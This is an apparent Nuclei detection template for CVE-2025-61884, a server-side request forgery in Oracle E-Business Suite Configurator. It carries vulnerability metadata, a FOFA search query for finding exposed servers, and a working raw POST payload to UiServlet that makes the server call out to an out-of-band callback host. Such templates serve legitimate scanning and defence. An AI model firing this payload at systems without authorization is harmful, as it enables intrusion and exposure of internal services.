Oracle E-Business Suite - Server-Side Request Forgery

id: CVE-2025-61884

info:
  name: Oracle E-Business Suite - Server-Side Request Forgery
  author: Kazgangap
  severity: high
  description: |
    Vulnerability in the Oracle Configurator product of Oracle E-Business Suite (component: Runtime UI). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Configurator.
  impact: |
    Unauthenticated attackers can force the Configurator server to make requests to arbitrary URLs, potentially exposing internal services and sensitive data.
  remediation: |
    Apply the Oracle security patches as described in the Oracle security alert for E-Business Suite.
  reference:
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-61884
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61884
    - https://www.oracle.com/security-alerts/alert-cve-2025-61884.html
    - https://arcticwolf.com/resources/blog/cve-2025-61884/
    - https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-61884.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-61884
    cwe-id: CWE-918
    epss-score: 0.95891
    epss-percentile: 0.99874
    cpe: cpe:2.3:a:oracle:configurator:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="E-Business Suite"
  tags: cve,cve2025,oracle,e-business,kev,vkev,vuln

http:
  - raw:
      - |
        POST /OA_HTML/configurator/UiServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        redirectFromJsp=1&getUiType=<?xml version="1.0" encoding="UTF-8"?>
        <initialize>
          <param name="init_was_saved">{{to_lower(rand_text_alpha(6))}}</param>
          <param name="return_url">http://{{interactsh-url}}</param>
          <param name="ui_def_id">0</param>
          <param name="config_effective_usage_id">0</param>
          <param name="ui_type">Applet</param>
        </initialize>

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "valid_configuration","terminate")'
          - 'contains(interactsh_protocol, "dns")'
        condition: and